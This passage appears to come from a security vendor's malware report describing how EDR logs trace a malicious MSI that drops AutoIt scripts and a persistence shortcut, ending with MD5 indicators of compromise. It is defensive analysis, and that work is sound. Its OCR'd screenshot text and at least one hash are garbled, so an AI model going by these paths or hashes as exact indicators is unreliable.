"FileWrite," enabling timeline-based activity tracing. Using these event logs, an analyst can
reconstruct the execution chain from the MSI launch through the batch file execution to the file
copies.

n-=nll n-=nll
pm— e
The process msiexec.exe created C: 55BB-CDFC-418C-BB6C-79073411E0BA}W 8.ico. The process expl £ created C: hesW{3DA71D5A-20CC-432F-A115-DFE92379E91F).3.ver0x000000
The proces reated C: 55BB-CDFC-418C-BB6C-79073411E0BA). The process expl created C: 3227_1823_POS4.jpg.
The pro reated C: Eya 2 The proc ed C:

reated C: i E2 3 The

ted C:WUsersWPublicWMusicWhwpviewer.exe.

reated 2 2 i g3.exe. The proc ed C:WWindowsWTempW~DFAGA944F5861A1348.TMP.

created C:WWindowsWTempW-~DFEOE4BA3F708E4F1B.TMP,

reated C: ey g i The proc

created C: \pW~DF2FBEF T™P.

reated C: ingWAEA 22 dil The proc

ed C:WWindowsWTempW~DFO8BDA4B2A987233C.TMP.

reated C: EA 22|0lWunins_exe. The proc ed C:#WindowsWinstalleriinprogressinstallinfo.ipi

created C:#WWindowsWTempW~DFCBEF1A76AC427FB2.TMP.

reated C:WUsersWuserWAppDataWRoamingWA E 42 22|0l#logo.ico. The proc created C:WWindowsWinstallerWSourceHash(3A0C55BB-CDFC-418C-BB6C-79073411E0BAY).

reated 42 2 The proc

created C:WWindowsWTempW-~DFFEB6FOF574F829F2. TMP.

reated C: Eya 22| bat

ted C:WUsersWPublicWMusicWloK(Tr.au3.

The prodess msiexec.exe created C: i EYx g .exe. The process emd.exe created C:WUsersWPublicWMusicWAutolt3.exe.

[Figure 7-1] Genian EDR Threat Management screen

A malicious MSI file is executed by the “MsiExec.exe” process, which creates the files contained
in the package and invokes batch files such as "install.bat" to run malicious scripts.

This entire execution flow can be quickly identified by reviewing EDR command-line event logs,
allowing security administrators to detect and respond at an early stage.
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Drive Type FIXED
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[Figure 7-2] MsiExec.exe command line

Tracing the Autolt process’s execution path and behavior enables quick identification of the
shortcut "Smart_Web.Ink" used for persistence and its target path.

In addition, process logs allow identification of the C2 IPs and domains the sample contacts.
Using this information enables rapid deployment of firewall rules to block data exfiltration, EDR
blocking rules, or network segmentation policies.
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WORKGROUP \ user
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[Figure 7-3] Genian EDR Attack Storyline

The attack storyline of Genian EDR visualizes the entire execution flow in a timeline and relational
view, enabling SOC operators to see process trees, command lines, files, registry, and network
events at a glance and immediately execute prioritization, isolation, blocking, and forensic
collection.

The EDR collects and analyzes all endpoint activity in real time, visualizes the full sequence of
malicious behavior, rapidly contains attack propagation with automated response, helping
enterprises and public institutions respond effectively to security threats.

Forensic analysis combined with threat intelligence enables root-cause determination, recurrence
prevention, and the blocking of internal data exfiltration, supporting a comprehensive security
management framework. Given that many threats now evade traditional antivirus and firewalls,
adopting EDR is essential.

8. Indicator of Compromise

MD5

5ab26df9c161a6¢c5f0497fde381d7fca
8f82226b2f24d470c02f6664f67f23f7
09b91626507a62121a4bdb08debb3ed9

25e38d618f38b3218c3252cf0d22c969
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